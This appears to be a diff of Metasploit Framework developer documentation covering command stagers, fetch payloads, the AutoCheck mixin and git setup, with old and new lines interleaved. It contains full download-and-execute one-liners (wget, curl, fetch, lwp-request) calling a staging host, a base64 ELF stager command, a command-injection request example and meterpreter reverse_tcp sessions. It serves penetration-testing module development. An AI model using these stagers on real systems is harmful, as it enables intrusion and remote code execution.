To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed. Remember that different flavors have different approaches to staging the payload for execution. Some flavors will break the payload apart and embed the payload data into multiple `echo` or `printf` commands to write it to disk; others like `wget` and `curl` execute a command to retrieve the payload via network connection. Your chosen flavor will be determined by the availability of a given command on the target system, the size of the command, the size of the payload, the ability to call out on the network, and the security posture of the target.
An example of setting flavors for a specific target:
@@ -98,16 +98,37 @@ However, it is best to set the compatible list of flavors in `CmdStagerFlavor`,
**3. Create the execute_command method**
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that a great deal of work might already be done for you. Here is an example of a web host that executes a command as part of a request:
```ruby
def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'cookie' => 'sid=' + @sid,
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'token' => @token,
'text' => cmd,
'hhook' => 'exec',
'sid' => @sid
}
})
end
```
Since the command is encapsulated within a request, it will be encoded for us. When building and debugging an execute_command method that uses web requests, remember that `set httptrace true` will automatically display the http traffic as it is sent and received.
**4. Decide on the supported payloads**
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like netcat, bash, python, or ssh. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like `netcat`, `bash`, `python`, or `ssh`. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
The best way to let the user decide what kind of payload to use is by defining separate [[targets|Get-Started-Writing-an-Exploit.md]]
Here is an example targets section from a command injection module:
```
```ruby
'Targets' => [
[
'Unix Command',
@@ -133,10 +154,10 @@ Here is an example targets section from a command injection module:
```
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk and can just be launched at the command line. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64`. These targets must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a dropper because the file must be dropped to the disk before it can be executed. In each of the targets above, weve selected a default payload we know will work.
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk because they are "just" a command, rather than an executable file. As such, they can be contained and launched within a command line string. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64` and includes binary elf payloads. These payload types must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a dropper because the file must be dropped to the disk before it can be executed. In each of the targets above, weve selected a default payload we know will work.
**4. Executing a payload**
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to upload, save, and execute your payload, then uses the ```execute_command``` method you defined earlier to run them on the target.
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to encode, upload, save, decode, and execute your payload, then uses the ```execute_command``` method you defined earlier to run each command on the target.
Unfortunately, we just mentioned not all payloads need to be saved to disk. In the case of a payload that does not need to be saved to disk, we only need to call ```execute_command```.
This problem of payload/method juggling sounds far worse than it is. Below is a quick example of how simple the ```exploit``` method will become if you have properly defined your targets as discussed in step 3:
@@ -152,8 +173,7 @@ This problem of payload/method juggling sounds far worse than it is. Below is a
end
```
Thats it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the _already_ _encoded_ payload. You dont need to worry about encoding the payload in your ```execute_command``` method.
If the user has selected a binary payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out how to save the file to disk and launch it based on the flavor you set earlier.
Thats it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the payload because as we said earlier, these payloads will execute within a single command. If the user has selected a ```dropped``` payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out the series of commands necessary to save the file to disk and launch it based on the flavor and max size you set earlier.
Over the years, we have also learned that these options are quite handy when calling
`execute_cmdstager`:
@@ -259,23 +279,26 @@ msf exploit(cmdstager_demo) > run
# Flavors
Now that we know how to use the `Msf::Exploit::CmdStager` mixin, let's take a look at the command
stagers you can use.
stagers you can use. As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to wite a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit. It is also useful to know the `printf` flavor is the only flavor that embeds the payload into the commands but does ***not*** use `echo`.
Available flavors:
Flavors requiring the payload to be broken apart and embedded into the commands:
* [bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb)
* [certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb)
* [debug_asm](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_asm.rb)
* [debug_write](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_write.rb)
* [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb)
* [printf](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/printf.rb)
* [vbs](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/vbs.rb)
* [certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb)
* [tftp](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/tftp.rb)
* [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb)
Flavors that rely on using a command to retrieve the payload via network connection
* [curl](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb)
* [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb)
* [lwprequest](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb)
* [psh_invokewebrequest](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb)
* [tftp](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/tftp.rb)
* [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb)
## VBS Command Stager - Windows Only
@@ -305,9 +328,7 @@ You will also need to make sure the module's supported platforms include windows
## Certutil Command Stager - Windows Only
[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8.
One thing certutil can also do for us is decode the Base64 string from a certificate, and save the decoded content to a file. The following demonstrates:
[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back up and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8. I find the certutil flavor confusing, as certutil can be used to download files just like `wget` and `ftp`, we do not use it that way here; instead we use `echo` to write the file as a base64 encoded certificate, and then we use `certutil` to decode it prior to execution:
```bash
echo -----BEGIN CERTIFICATE----- > encoded.txt
@@ -433,8 +454,17 @@ execute_cmdstager(flavor: :psh_invokewebrequest )
**Linemax** minimum: 373
The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows (because the use of the which command that Windows does not have). It functions rather similar to the VBS stager, except when it decodes the Base64 payload at runtime, there are multiple commands to choose from: base64, openssl, python, or perl.
The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows. Just like many other stagers, it writes a base64 encoded payload to disk, but then it tries to decode it using four different commands: base64, openssl, python, and perl. This is very useful if the target's OS is unpredictable. You can see the way it attempts to use multiple decoding techniques by setting `verbose` to `true` and launching an exploit that has `bourne` as a supported command stager flavor and selecting it as the flavor:
```
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAA
AAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoK
QVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoFh8lRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+
Wg8FSIXAeO3/5g==>>'/tmp/XtMnQ.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (w
hich openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; pri
nt base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)
')) 2> /dev/null > '/tmp/IPUov' < '/tmp/XtMnQ.b64' ; chmod +x '/tmp/IPUov' ; '/tmp/IPUov' ; rm -f '/tmp/IPUov' ; rm -f '
/tmp/XtMnQ.b64'"]
```
To use the Bourne stager, either specify your CmdStagerFlavor in the metadata:
```ruby
@@ -454,7 +484,7 @@ execute_cmdstager(flavor: :bourne)
The [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb) command stager is suitable for multiple platforms except for Windows. It just [echos](http://manpages.ubuntu.com/manpages/trusty/man1/echo.1fun.html) the payload, chmod and execute it. An example of that looks similar to this:
```
```bash
echo -en \\x41\\x41\\x41\\x41 >> /tmp/payload ; chmod 777 /tmp/payload ; /tmp/payload ; rm -f /tmp/payload
```
@@ -495,6 +525,11 @@ execute_cmdstager(flavor: :printf)
## cURL Command Stager - Multi Platform
The [cURL](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb) command stager uses the `curl` command on the target host to download the payload file. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
```bash
curl -so /tmp/dtNGlaaL http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/dtNGlaaL;/tmp/dtNGlaaL;rm -f /tmp/dtNGlaaL"
```
To use the cURL stager, either specify your CmdStagerFlavor in the metadata:
```ruby
@@ -510,6 +545,12 @@ execute_cmdstager(flavor: :curl)
## wget Command Stager - Multi Platform
The [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `wget` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
```bash
wget -qO /tmp/MZXxujch http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/MZXxujch;/tmp/MZXxujch;rm -f /tmp/MZXxujch
```
To use the wget stager, either specify your CmdStagerFlavor in the metadata:
```ruby
@@ -525,6 +566,13 @@ execute_cmdstager(flavor: :wget)
## LWP Request Command Stager - Multi Platform
The [lwp-request](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `lwp-request` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
```bash
lwp-request -m GET http://10.5.135.201:8080/mdkwKcdGCtU > /tmp/OKOnDYwn;chmod +x /tmp/OKOnDYwn;/tmp/OKOnDYwn;rm -f /tmp/OKOnDYwn
```
To use the lwprequest stager, either specify your CmdStagerFlavor in the metadata:
```ruby
@@ -540,6 +588,11 @@ execute_cmdstager(flavor: :lwprequest)
## Fetch Command Stager - BSD Only
The [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `fetch` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
```bash
fetch -qo /tmp/UGWuPPcy http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/UGWuPPcy;/tmp/UGWuPPcy;rm -f /tmp/UGWuPPcy
```
To use the fetch stager, either specify your CmdStagerFlavor in the metadata:
```ruby
@@ -0,0 +1,333 @@
# Fetch Payloads
## What Are Fetch Payloads?
Fetch payloads are adapted, command-based payloads use network-enabled binaries on a remote host to download binary
payloads to that remote host. Adapted payloads are just payloads where we have bolted an extra feature on top of
existing payloads to modify the behavior. In this case, you can still use all your favorite binary payloads and
transports, but we've added an optional fetch payload adapter on top to stage the payloads using a networking binary and
server. They function similarly to some Command Stagers, but are based on the payload side rather than the exploit side
to simplify integration and portability. Fetch payloads are a fast, easy way to get a session on a target that has a
command injection or code execution vulnerability *and* a known binary with the ability to download and store
a file.
## Terminology
In the following documentation, it is useful to agree on certain terms to use so we don't get confused or confusing.
`Fetch Payload` - The command to execute on the remote host to retrieve and execute the `Served Payload`
`Fetch Binary` - The binary we are using on the remote host to download the Served Payload. Examples might be WGET,
cURL, or Certutil.
`Fetch Protocol` - The protocol used to download the served payload, for example HTTP, HTTPS or TFTP.
`Fetch Listener` - The server hosting the served payload.
`Fetch Handler` - The same as `Fetch Listener`
`Served Payload` - The underlying payload we want to execute. We also might call this the `Adapted Payload`.
`Served Payload Handler` - The handler for the served payload. This is just a standard payload like
`meterpreter/reverse_tcp` or `shell_reverse_tcp`.
## Organization
Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support
HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
remote host to download the served payload prior to execution.
Here is the naming convention for fetch payloads:
`<cmd>/<platform>/<fetch protocol>/served_payload`
For example:
`cmd/linux/https/x64/meterpreter/reverse_tcp` Will do four things:
1) Create a `linux/x64/meterpreter/reverse_tcp` elf binary to be the served payload.
2) Serve the above served payload on an HTTPS server
3) Start a served payload handler for the served payload to call back to
4) Generate a command to execute on a remote host that will download the served payload and run it.
## A Simple Stand-Alone Example
The fastest way to understand Fetch Payloads is to use them and examine the output. For example, let's assume a Linux
target with the ability to connect back to us with an HTTP connection and a command execution vulnerability.
First, let's look at the payload in isolation:
```msf
msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_FILENAME YXeSdwsoEfOH no Name to use on remote system when storing payload
FETCH_SRVHOST 0.0.0.0 yes Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
View the full module info with the info, or info -d command.
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
### Options
`FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the
supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get
into more details on the binaries later.
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
`FETCH_SRVHOST` is the IP where the server will listen.
`FETCH_SRVPORT` is the port where the server will listen.
`FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the
underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying
served payload is the same.
`FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution.
This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error.
The remaining options will be the options available to you in the served payload; in this case our served payload is
`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different
payload, we would see different options.
### Generating the Fetch Payload
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
FETCH_COMMAND => WGET
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
FETCH_SRVHOST => 10.5.135.201
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
FETCH_SRVPORT => 8000
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
LHOST => 10.5.135.201
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
LPORT => 4567
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
You can see the fetch payload generated:
`wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &`
This command downloads the served payload, marks it as executable, and then executes it on the remote host.
### Starting the Fetch Server
When you start the `Fetch Handler`, it starts both the server hosting the binary payload *and* the listener for the
served payload. With `verbose` set to `true`, you can see both the Fetch Handler and the Served Payload Handler are
started:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
[*] Payload Handler Started as Job 0
[*] Fetch Handler listening on 10.5.135.201:8000
[*] http server started
[*] Started reverse TCP handler on 10.5.135.201:4567
```
### Fetch Handlers and Served Payload Handlers
The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under
`Jobs`, even though the Fetch Handler is listening:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000
tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN
```
Killing the Served Payload handler will kill the Fetch Handler as well:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
[*] Stopping the following job(s): 0
[*] Stopping job 0
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
## Using Fetch Payloads on the Fly
One really nice thing about Fetch Payloads is that it gives you the ability to execute a binary payload very quickly,
without relying on a session in framework or having to get a payload on target. If you have a shell session or even a
really odd situation where you can execute commands, you can get a session in framework quickly without having to upload
a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are
Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial.
## Using it in an exploit
Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch
payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or
`linux`. Once the target has been added, you can get access to the command by invoking `payload.encoded` and use it as
the command to execute on the remote target.
### Example paired with CmdStager
There is likely to be some overlap between fetch payloads and command stagers. Let's talk briefly about how to support
both in an exploit. Please see the documentation on Command Stagers for required imports and specifics for command
stagers. in this case, I'm only documenting the changes to make so that fetch payloads will work alongside command
stagers or to use fetch payloads in the style of command stagers, which I suggest you do.
In this case, I've modified the code provided in the command stager documentation to support both linux and unix command
payloads. All I did was give an array value for the `Platform` value and change the`Type` to something more generic:
``` ruby
'Targets' =>
[
[ 'Linux Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => [ 'unix', 'linux' ],
'Type' => :nix_cmd
}
]
]
```
For the `execute_command` method, nothing changes:
```ruby
def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'cookie' => 'sid=' + @sid,
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'token' => @token,
'text' => cmd,
'hhook' => 'exec',
'sid' => @sid
}
})
end
```
The only change in the exploit method is the use of the more generic `Type` value in the case statement. Nothing else
needs to change.
```ruby
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :nix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
```
If you have an exploit that already supports Unix Command payloads and you'd like it to support Linux Command payloads
like Fetch Payloads, you can simply add the `linux` value to the platform array:
```ruby
'Nix Command',
{
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
}
```
## Supported Commands
### Windows And Linux Both
#### `CURL`
cURL comes pre-installed on Windows 10 and 11, and it is incredibly common on linux platforms and the options are very
standardized across releases and platforms. This makes cURL a good default choice for both Linux and Windows
targets. All options and server protocol types are supported by the cURL command.
#### `TFTP`
The TFTP binary is useful only in edge cases because of a long list of limitations:
1) It is a Windows feature, but it is turned off by default on Windows Vista and later.
2) While you are likely to find it on Linux and Unix hosts, the options are not standard across releases.
3) The TFTP binary included in many Linux systems and all Windows systems does not allow for the port to be configured,
nor does it allow for the destination filename to be configured, so `FETCH_SRVPORT` must always be set to 69 and
`FETCH_WRITABLE_DIR` and `FETCH_FILENAME` must be empty. Listening on port 69 in Framework can be problematic, so I
suggest that you use the advanced option `FetchListenerBindPort` to start the server on a different port and redirect
the connection with a tool like iptables to a high port.
For example, if you are on a linux host with iptables, you can execute the following commands to redirect a connection
on UDP port 69 to UDP port 3069:
`sudo iptables -t nat -I PREROUTING -p udp --dport 69 -j REDIRECT --to-ports 3069`
`sudo iptables -t nat -I OUTPUT -p udp -d 127.0.0.1 --dport 69 -j REDIRECT --to-ports 3069`
Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly.
4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you
start a tftp fetch handler, a new service will start:
```msf
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
LPORT => 4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
[*] Payload Handler Started as Job 4
[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
FETCH_URIPATH => test4
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
LPORT => 8547
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
[*] Payload Handler Started as Job 5
[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:8547
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
```
There is nothing to stop you from creating a race condition by starting multiple tftp servers with the same IP, port,
and `FETCH_URI` value but serving different payloads. This will result in a race condition where the payload served is
non-deterministic.
### Windows Only
#### `Certutil`
Certutil is a great choice for Windows targets- it is likely to be present on most recent releases of Windows and is
highly configurable. The one troublesome aspect is that there is no insecure mode for Certutil, so if you are using
Certutil with the HTTPS protocol, the certificate must be correct and checked. It supports `HTTP` and `HTTPS`
protocols.
### Linux Only
#### `FTP`
FTP is an old but useful binary. While we support using the FTP binary, we do not have an FTP server. Modern releases
of FTP support both HTTP and HTTPS protocols. Unfortunately, we only support these modern versions of inline FTP, so it
may not be appropriate for older systems.
#### `TNFTP`
TNFTP (not to be confused with TFTP) is a newer version of FTP. It is exactly the same as modern FTP, but sometimes both the legacy FTP and TNFTP are
present on a system, so the command will be `tnftp` rather than `ftp`.
#### WGET
WGET is likely the first choice for a linux-only target. It supports both HTTPS and HTTP and all Fetch payload options.
It is ubiquitous on Linux hosts and very standard, making it an excellent choice.
@@ -74,7 +74,7 @@ To get things started, you can always use the following template to start develo
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -127,4 +127,28 @@ def check
end
```
Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic.
Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic.
## AutoCheck Mixin
Metasploit offers the possibility to automatically call the `check` method before the `exploit` or `run` method is run. Just prepend the `AutoCheck` module for this, nothing more:
```ruby
prepend Msf::Exploit::Remote::AutoCheck
```
According to the `CheckCode` returned by the `check` method, Framework will decided if the module should be executed or not:
| Checkcode | Module executed? |
| --------- | ----------- |
| **Exploit::CheckCode::Vulnerable** | yes |
| **Exploit::CheckCode::Appears** | yes |
| **Exploit::CheckCode::Detected** | yes |
| **Exploit::CheckCode::Safe** | no |
| **Exploit::CheckCode::Unsupported** | no |
| **Exploit::CheckCode::Unknown** | no |
This mixin brings two new options that let the operator control its behavior:
- `AutoCheck`: Sets whether or not the `check` method will be run. Default is `true`.
- `ForceExploit`: Override the check result. The `check` method is run but the module will be executed regardless of the result. Default is `false`.
@@ -8,7 +8,7 @@ Here is how you can set it up:
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -54,16 +54,16 @@ In addition, we're going to add a magical line to the config file that will let
So, open up `metasploit-framework/.git/config` with your favorite editor, add an upstream remote, and add the pull request refs for both your and Rapid7's forks. In the end, you should have a section that started off like this:
````config
```config
[remote "upstream"]
fetch = +refs/heads/*:refs/remotes/upstream/*
fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
url = https://github.com/rapid7/metasploit-framework
````
```
And now it looks like this:
````config
```config
[remote "upstream"]
fetch = +refs/heads/*:refs/remotes/upstream/*
fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
@@ -72,13 +72,13 @@ And now it looks like this:
fetch = +refs/heads/*:refs/remotes/origin/*
fetch = +refs/pull/*/head:refs/remotes/origin/pr/*
url = https://github.com/YOURNAME/metasploit-framework
````
```
Some people like to copy these over into remotes named "rapid7" and "yourusername" just so they don't have to remember about "origin" and "upstream," but for this doc, we'll just assume you have "origin" and "upstream" defined like this.
Now, you can git fetch the remote PRs. This will take a little bit, since we have a couple dozen MBs of pull request data. Storage is cheap, though, right?
````
```
$ git fetch --all
Fetching todb-r7
remote: Counting objects: 13, done.
@@ -97,7 +97,7 @@ From https://github.com/rapid7/metasploit-framework
[... bunches of tags and PRs ...]
* [new ref] refs/pull/1701/head -> upstream/pr/1701
* [new ref] refs/pull/1702/head -> upstream/pr/1702
````
```
